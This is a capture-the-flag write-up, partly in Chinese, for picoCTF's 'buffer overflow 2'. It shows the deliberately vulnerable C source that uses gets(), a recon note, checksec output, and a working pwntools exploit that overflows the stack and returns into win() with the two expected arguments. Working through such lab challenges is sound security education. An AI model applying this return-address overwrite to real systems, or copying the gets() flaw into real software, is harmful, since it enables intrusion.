PicoCTF - buffer overflow 2

PicoCTF - buffer overflow 2

Background

Bof

Source code

:::spoiler Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}


:::

Recon

寫這一題的心境變化真的很有趣,一開始看直覺很簡單,就基礎的return 2 function就結束了,不過看到還要處理calling convention的問題就有點燒腦,首先我一開始的想法是控制edi和esi的數值過掉她的checking,直覺就是用rop之類的東西,不過這隻程式本身能用的gadget少的可憐,如果要用到libc本身的gadget就必須要克服aslr的base address,想到這邊頭就開始痛了,無論如何先用gdb跟一下,發現檢查的argument就在ebp+0x8和ebp+0x10的地方,這就代表離原本的bof不遠,所以試看看能不能延伸bof的內容,果然事情比我想像中的簡單,需要注意的地方是payload中return win function的部分不能馬上接checking payload,因為執行的過程中0xcafefood會被蓋掉,所以中間需要加一個dummy value

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=a429aa852db1511dec3f0143d93e5b1e80e4d845, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
[*] '/mnt/d/NTU/CTF/PicoCTF/PWN/buffer overflow 2/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Exploit

from pwn import *

r = remote('saturn.picoctf.net', 50995)
# r = process('./vuln')
context.arch = 'amd64'

r.recvline()

r.sendline(b'a' * 0x70 + p32(0x8049296) + p32(0) + p32(0xCAFEF00D) + p32(0xF00DF00D))

r.interactive()